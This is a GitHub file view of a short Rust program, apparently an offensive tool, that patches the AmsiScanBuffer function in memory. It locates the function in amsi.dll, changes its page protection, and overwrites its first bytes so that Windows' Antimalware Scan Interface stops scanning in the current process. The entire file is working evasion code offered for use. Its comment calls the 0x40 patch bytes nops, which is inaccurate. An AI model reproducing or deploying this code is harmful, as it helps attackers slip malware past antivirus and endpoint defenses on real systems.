-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.rs
49 lines (43 loc) · 1.42 KB
/
main.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
use std::{ffi::CString, ptr};
use winapi::{
um::{
memoryapi::{
VirtualProtect,
WriteProcessMemory
},
libloaderapi::{
LoadLibraryA,
GetProcAddress
},
processthreadsapi::GetCurrentProcess,
winnt::PAGE_READWRITE
},
shared::{
minwindef::{
DWORD,
FALSE
},
ntdef::NULL
}
};
fn main() {
println!("[+] Patching amsi for current process...");
unsafe {
// Getting the address of AmsiScanBuffer.
let patch = [0x40, 0x40, 0x40, 0x40, 0x40, 0x40];
let amsi_dll = LoadLibraryA(CString::new("amsi").unwrap().as_ptr());
let amsi_scan_addr = GetProcAddress(amsi_dll, CString::new("AmsiScanBuffer").unwrap().as_ptr());
let mut old_permissions: DWORD = 0;
// Overwrite this address with nops.
if VirtualProtect(amsi_scan_addr.cast(), 6, PAGE_READWRITE, &mut old_permissions) == FALSE {
panic!("[-] Failed to change protection.");
}
let written: *mut usize = ptr::null_mut();
if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE {
panic!("[-] Failed to overwrite function.");
}
// Restoring the permissions.
VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
println!("[+] AmsiScanBuffer patched!");
}
}